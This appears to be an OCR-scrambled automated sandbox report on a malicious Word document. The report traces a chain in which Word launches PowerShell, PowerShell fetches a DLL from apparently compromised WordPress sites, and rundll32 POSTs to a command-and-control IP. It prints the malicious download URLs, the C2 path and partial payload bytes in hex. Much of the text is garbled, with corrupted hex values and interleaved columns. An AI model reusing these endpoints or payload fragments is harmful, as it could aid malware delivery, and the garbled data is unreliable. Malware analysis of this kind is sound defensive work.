Jan 25, 2021 08:21:34.349510908 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.349526882 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.349731922 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350071907 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350189924 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350265026 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350284100 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350297928 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350302935 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350323915 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350343943 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350349903 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350368023 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350389004 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350399017 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350409985 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350430965 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350450039 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350452900 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350470066 CET 80 49168 93.119.104.27 192.168.2.22
Jan 25, 2021 08:21:34.350474119 CET 49168 80 192.168.2.22 93.119.104.27
Jan 25, 2021 08:21:34.350485086 CET 80 49168 93.119.104.27 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 25, 2021 08:21:33.312068939 CET 52197 53 192.168.2.22 8.8.8.8
Jan 25, 2021 08:21:33.343859911 CET 53 52197 8.8.8.8 192.168.2.22
Jan 25, 2021 08:21:34.109174967 CET 53099 53 192.168.2.22 8.8.8.8
Jan 25, 2021 08:21:34.173058987 CET 53 53099 8.8.8.8 192.168.2.22
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DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 25, 2021 08:21:33.312068939 CET 192.168.2.22 8.8.8.8 0xc52c Standard query  micronews.eu A (IP address) IN (0x0001)
(0)

Jan 25, 2021 08:21:34.109174967 CET 192.168.2.22 8.8.8.8 0x4d68 Standard query  ofert-al.com A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 25, 2021 8.8.8.8 192.168.2.22 0xc52¢c No error (0) micronews.eu 93.119.104.27 A (IP address) IN (0x0001)

08:21:33.343859911

CET

Jan 25, 2021 8.8.8.8 192.168.2.22 0x4d68 No error (0) ofert-al.com 93.119.104.27 A (IP address) IN (0x0001)

08:21:34.173058987

CET

HTTP Request Dependency Graph

® micronews.eu

e ofert-al.com

e 190.55.186.229

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49167 93.119.104.27 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 25, 2021 0 ouT GET /crankshaft-pulley-i5aio/Tlp/ HTTP/1.1
08:21:33.398618937 CET Host: micronews.eu
Connection: Keep-Alive
Jan 25, 2021 1 IN HTTP/1.1 404 Not Found
08:21:34.046334028 CET Date: Mon, 25 Jan 2021 07:21:33 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <https://micronews.eu/wp-json/>; rel="https://api.w.org/"

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Keep-Alive: timeout=5, max=100

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 63 32 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 2d
5553 22 20 3e 0d Oa 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f
3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68
3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 20 2f 3e 0d Oa 09 3c 74
69 74 6¢ 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 79 20 42 6¢ 6f 67 3c 2f 74 69 74
6¢ 65 3e Oa 0d Oa

Data Ascii: c2<!doctype html><html lang="en-US" ><head><meta charset="UTF-8" /><meta name="viewport" content="
width=device-width, initial-scale=1" /><title>Page not found &#8211; My Blog</title>

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49168 93.119.104.27 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes

Timestamp transferred Direction Data

Jan 25, 2021 10 ouT GET /wp-content/t9hVViBde/ HTTP/1.1

08:21:34.213253021 CET Host: ofert-al.com

Connection: Keep-Alive
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kBytes

Timestamp transferred Direction Data
Jan 25, 2021 12 IN HTTP/1.1 200 OK
08:21:34.271298885 CET Date: Mon, 25 Jan 2021 07:21:34 GMT

Server: Apache

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Mon, 25 Jan 2021 07:21:34 GMT

Content-Disposition: attachment; filename="WIOHNQ5Xds4.dII"

Content-Transfer-Encoding: binary

Set-Cookie: 600e717e3bc44=1611559294; expires=Mon, 25-Jan-2021 07:22:34 GMT; Max-Age=60; path=/

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Last-Modified: Mon, 25 Jan 2021 07:21:34 GMT

Keep-Alive: timeout=5, max=100

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 32 30 30 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 8f 46 Ob 60 00 00 00 00 00 00 00 00 €0
00 Oe 21 Ob 01 02 32 00 40 00 00 00 d2 04 00 00 00 00 00 50 19 00 00 00 10 00 00 00 50 00 00 00 00 00 10 00 10 00 00
00 02 00 00 03 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 d1 05 06 00 02 00 00 00 00 00 10
00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 €8 60 00 00 64 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 05 00 58 15 00 00 00 80 05 00 e0 03 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ac 61 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00
00 9e 36 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61
00 00 57 00 00 00 00 50 00 00 00 02 00 00 00 3¢ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61
00 00 00 90 04 00 00 00 60 00 00 00 04 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65 78
7434 00 00 a4 c5 04 00 00 70 00 00 00 c6 04 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 74 65
78 74 38 00 00 64 00 00 00 00 40 05 00 00 02 00 00 00 08 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 74
65 78 74 37 00 00 64 00 00 00 00 50 05 00 00 02 00 00 00 Oa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e
74 65 78 74 36 00 00 64 00 00 00 00 60 05 00 00 02 00 00 00 Oc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40
2e 74 65 78 74 35 00 00 64 00 00 00 00 70 05 00 00 02 00 00 00 Oe 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00
40 2e 72 65 6¢ 6f 63 00 00 €0 03 00 00 00 80 05 00 00 04 00 00 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$PELF'12@PP dXa’.text68 ".rdataWP<@@.da
ta>@.text4pB@.text8d@ @.text7dP @.text6d" @.text5dp @.reloc@B

Session ID Source IP Source Port Destination IP Destination Port Process
2 192.168.2.22 49169 190.55.186.229 80 C:\Windows\SysWOW64\rundll32.exe
kBytes
Timestamp transferred Direction Data
Jan 25, 2021 363 ouT POST /zu0s8fp/p0ci9j50w974/cj5r0kfb71n/m8g30yulkjfggim2u/66n2ab/ipuzZ3m08m8x037v8/ HTTP/1.1
08:22:42.954171896 CET DNT: 0

Referer: 190.55.186.229/zu0s8fp/p0ci9j50w974/cj5r0kfb71n/m8g30yulkjfggim2u/66n2ab/ipuzZ3m08m8x037va/
Content-Type: multipart/form-data; boundary=- DIOKABXxDmY

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 190.55.186.229

Content-Length: 6452

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 25, 2021

kBytes
transferred Direction

371 IN

08:22:44.434644938 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 25 Jan 2021 07:22:44 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 65 35 34 0d Oa c0 4f 52 e5 82 f5 0d 86 6d ff 91 c2 8e 89 a2 85 bf 89 59 cc ad a2 8c d6 4d f8 38 3b 2c d3 fa 6b
f1 67 ¢7 80 53 6d 20 2f 13 1f 10 a5 e2 ab 0d 7d 22 fd 56 9d aa 91 05 2c 5f 76 0d bf 98 53 78 4b 3d 43 9f 1a 7a 57 30 5¢c 7e
69 cd 51 7f f8 77 a6 b8 f6 7b 66 87 84 21 6b b6 58 15 7c d6 c1 7c 66 5d Oa 5a 6d a0 de cb 50 43 d9 80 8a 8e 8f ab 95 e0
e9 13 ce ee ce 77 07 c0 9e a9 af ed 6d fa ba c8 34 7c 3a 31 71 d1 b0 ff fd 0d a0 17 59 db 7a 54 bb 95 13 32 38 45 c2 0f 68
ed d1 9b f9 2f 40 fc d1 11 f6 2e b8 fe 87 75 f4 al 2c 47 3c 2e be 72 9d b3 ca 1a 16 5b b8 6d 3c Oe 7a 4e 8d 8b d7 c6 86 ed
5f 82 a9 d5 ef 94 13 f4 d7 88 89 ¢3 b1 25 c0 76 5f 5b ed c5 al 61 b4 33 94 dO 6¢ 9f e0 45 b1 al bf ca 3a a3 99 f2 37 08 c5
a7 4f Ob b9 c0 2d f4 8e 8f 9e f8 03 a3 4e 5a 95 5¢ 0d 5d 40 30 20 ff 1f 25 ed 66 cf 88 fa 96 11 7b 42 91 52 dd 2e a5 8 e9
66 f5 17 31 39 b5 8b ae aa 6b Oc 5a e3 5d 82 2e 72 el 59 07 69 36 2b 71 fe 37 58 e6 98 09 4e 56 €3 39 82 52 85 d7 12 01
el c5 4d 83 52 74 15 dc 2d cf da 16 b9 c4 2e 71 20 fe fb 32 90 d0 58 f1 00 67 bd 2a cb 81 ea 19 7d 4e 16 ea 61 a6 d8 31
16 ac 77 89 4d ff f4 ¢7 d6 0f 49 9d 7c b7 f1 dc 34 c2 3b 39 7a Oc e5 4b 87 Oc a4 29 d2 a5 Oa 6d 8e cc 5d 31 8a 9b 13 29
37 e6 f6 5e a9 0a 9a 9d 5e 6¢ ce 2a 6e 2a c5 83 16 30 2d 9f 8e 97 89 79 90 3a 94 11 Ob e3 21 fd 37 05 dd 47 Oc 63 09 69
46 5b ec 24 b2 4f 73 52 1c fO be 83 a3 b6 ba 64 49 5c e2 94 6e e5 52 f9 57 b5 cb 71 4c ca 21 dd 19 a7 68 4f b2 e8 c6 ae
b4 6 7e 9b 31 9f bd 2d 28 44 50 2a fb ae ae 5d 34 a2 3c cb 8d ee 6a 0f 75 fd e9 86 6d 5d 4c 88 68 f0 06 3e 37 19 2b ca ek
33 1e 68 8e 91 e8 b6 53 35 1e 70 ¢8 13 d4 ac f1 78 15 42 35 ce 68 85 b3 f7 d3 ef 01 5f 8¢ d2 72 Oe 77 23 21 af bc 2b 43 7
1 8d df f7 cf 8b 12 11 90 dd ba 96 a4 c8 87 fb 81 aa 98 ba f9 58 16 dd a7 cb c7 c0 c5 11 8d 7f 6a 5a 64 9e 35 5c 33 9e 11
95 29 d3 a9 37 81 8c 1e 33 3d 91 f9 5d 69 01 d6 Oe 91 aa 83 ac b3 9d ec fb 9c bc 64 81 ea 5d d4 al 6e 08 5f 72 34 db ae
5d 83 93 8e 2f 24 e3 8d db 3c ac 00 ee 2d 9d 2d 69 29 06 9b da d6 ae 07 02 56 cb 51 fe c6 48 1a 47 09 Ob 33 31 91 ba 33
49 55 f2 Oc 7b db 3a Oa 6b c4 fd 3d 25 e3 7c 65 86 96 Oc fO 4b 75 89 3¢ b6 ac 21 51 8c 10 8e d8 0d 68 8 26 79 3f 94 15 d(
4b 90 d2 f4 61 1e 72 36 87 9b 50 a2 b9 35 9c 58 9c 1c 21 ff Of dc 2d ed cc 99 al a9 81 66 ea fa 1f 6f 1f 1a 3e 07 35 Oe ab
3ab2 1d fd 94 a8 ba 17 dc 88 43 Oe 24 a5 2b 29 49 Ob 72 c5 e6 aa le c7 b8 40 48 a2 73 a6 0f 62 92 fa 61 0d e7 d8 f3 0d
e37a 8852 7d 63 9e 52 b3 f0 61 36 8f 78 e7 f2 89 79 98 bf bl d8 36 ba 3 7e 15 f5 5e 69 45 fc 30 ca e6 c9 67 37 40 c4 28
3c 97 5¢ 67 73 f0 db 22 0d e2 5b 99 52 4c 35 c3 e2 33 be b2 45 d3 ed d6 90 35 c8 b4 64 f4 f3 ¢7 53 81 50 8 5a 70 aa 6b ff
36 a4 e2 25 b9 94 aa 3b 9e ad b6 31 55 7e 62 92 e3 42 c8 8e da Ob al fb 55 24 35 d1 fb f4 f1 da bc 55 19 55 9 16 c8 73
25 a5 63 cf 8f 52 84 75 09 3d 71 bf e3 a3 a7 74 44 f1 df 3c 68 5e Oc be 45 f0 58 dc 8e c0 9c 28 2d f0 8a 68 2a 36 fe e4 fd
3b 1e 2d 65 29 e8 al 53 75 fa 61 d1 58 18 fb 52 ad 9f d1 06 98 5d df 38 d2 96 a3 78 4f 16 9d 45 72 83 95 94 1d ae 43 59
74 9aad c2d2 71 4ae309 27 10 49 73 ce 93 a4 d6 46 57 2a 44 33 a9 de e5 d5 ec ad 43 a5 b5 67 77 ec 8a 27 33 e3 cd
69 f4 91 5f 25 a6 76 da a8 23 ff b6 12 02 7f 87 1d 2e 9b d1 4c ff d8 eb 92 ca be 03 67 20 c8 d4 89 44 c7 Oc 55 al f4 1b 61
6f bc fe 15 4b ea 97 6d 78 f4 83 0d a2 08 46 €8 bf dO 2d 7d 54 be c9 61 d4 61 ae 9¢c Oa c4 73 04 81 c2 7a 79 13 e8 8b e7
5f 7e a4 ef 9c 6e 97 25 el 6¢ 2d 52 7c 40 db 85 07 el a8 4e 8a 36 e7

Data Ascii: e540RmYM8;,kgSm /}"V,_vSxK=CzWO\~iQw{flkX||fZmPCwm4|:1qYzT28Eh/@.u,G<.rim<zN_%v_[a3IE:70-
NZ\]@0 %f{BR.f19kZ].rYi6+q7XNVIRMRt-.q 2Xg*}NalwMI|4;9zK)m]1)7 M *n*0-y:!7GciF[$OsRdI\nRWL!hO~1-(
DP*]4<jum]Lh>7+3hS5pxB5h_rw#!+CqXjZd5\3) 73=]id]n_r4]/$<--)VQHG313IU{:k=%|eKu<!Qh&y?Kar6P5X!-fo>5:C$
+)Ir@HsbazR}cRabxy6~"NEO0g7 @(<\gs"[RL53E5dSPZpk6%;1U~bBU$5UUs%cRu=qtD<h"EX(-h*6;-e)SuaXR]8x
OErCYtqJ'IsFW*D3Cgw'3i_%v#.Lg DUaoKmxF-}Taaszy_~n%l-R|@N6

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundl32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 1552 Parent PID: 584

General

Start time: 08:21:37
Start date: 25/01/2021
Path:

Wow64 process (32bit): false

Commandline:

Imagebase: 0x13f4d0000
File size: 1424032 bytes
MD5 hash:

Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Reputation: high
File Activities
File Created
File Path Access Attributes Options

read data or list device
directory |
synchronize

C:\Users\user\AppData\Local\Temp\VBE

directory file |
synchronous io
non alert | open

95C38D04597050285A18F66039EDB456

C, C++ or other language

Completion

success or wait 1

for backup ident
| open reparse

point

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\~DF72C7380EA900AC4F.TMP

Old File Path New File Path

File Path Offset Length Value Ascii

File Read

File Path Offset

C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
C:\Users\user\AppData\Roaming\Microsoft\UProoA\CUSTOM.DIC unknown
Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F57B1

Copyright null 2021

Completion

success or wait

Completion

Completion

Length Completion

1 success or wait

4096

Completion Count
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

P R R R R R R

success or wait

Count Address

success or wait

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

Source
Symbol

7FEE95226B4 CreateDirectoryA

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown

Source
Count Address Symbol

Source
Count Address Symbol

Source

Count Address Symbol
1 7FEE91AEC53 ReadFile

1 7FEE91B6CAC ReadFile

Source

Address Symbol

7FEE945E72B RegCreateKeyExA
7FEE945E72B RegCreateKeyExA
7FEE945E72B RegCreateKeyExA
7TFEE9449ACO0 unknown
7TFEE9449ACO0 unknown
7TFEE9449ACO unknown

7TFEE9449ACO unknown
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Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F57B1

Copyright null 2021

Name

Cambria Math

Tahoma

F57B1

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 10 06 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
C5B6 11 3D 36 F3 D6 01 B1 57 OF
00 B1 57 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F57B1

Copyright null 2021

Name

ProductFiles

ProductFiles

F57B1

Type

dword

dword

binary

Name

Type

Old Data
1379467310

1379467311

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

New Data

1379467311

1379467312

04 00 00 00 10 06 00 00 2A 00
00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00
C5B6 11 3D 36 F3 D6 01 B1
57 OF 00 B1 57 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

04 00 00 00 10 06 00 00 2A 00 success or wait

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C
0041 00 6C 00 62 00 7500 73
00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C
00 5C 00 54 00 65 00 6D 00
70 00 5C 00 69 00 6D 00 67
00 73 00 2E 00 68 00 74 00
6D 00 04 00 00 00 69 00 6D
00 67 00 73 00 00 00 00 00 01
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 B1 57 OF 00
B1 57 OF 00 00 00 00 00 DB
04 00 00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF
FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
